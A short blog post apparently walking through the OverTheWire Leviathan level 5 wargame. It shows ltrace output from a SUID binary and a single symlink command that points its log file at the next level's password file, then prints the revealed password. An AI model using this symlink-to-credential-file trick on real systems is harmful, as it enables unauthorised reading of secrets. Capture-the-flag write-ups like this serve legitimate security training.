rtmoran.org — Cybersecurity and Linux Resource

OverTheWire Leviathan – Level 5

overthewire

ltrace against SUID ELF ./leviathan5:

leviathan5@leviathan:~$ ltrace ./leviathan5 
 __libc_start_main(0x80485db, 1, 0xffffd784, 0x80486a0 
 fopen("/tmp/file.log", "r")                  = 0
 puts("Cannot find /tmp/file.log"Cannot find /tmp/file.log
 )            = 26
 exit(-1 
 +++ exited (status 255) +++

The executable calls fopen("/tmp/file.log"), to which an error is returned, informing the user that the specified file does not exist.

Well, let’s make it! However, let’s point it to leviathan6‘s password file.

ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log
@rtmoran.org

leviathan6 : UgaoFee4li

Leave a Reply

Your email address will not be published. Required fields are marked *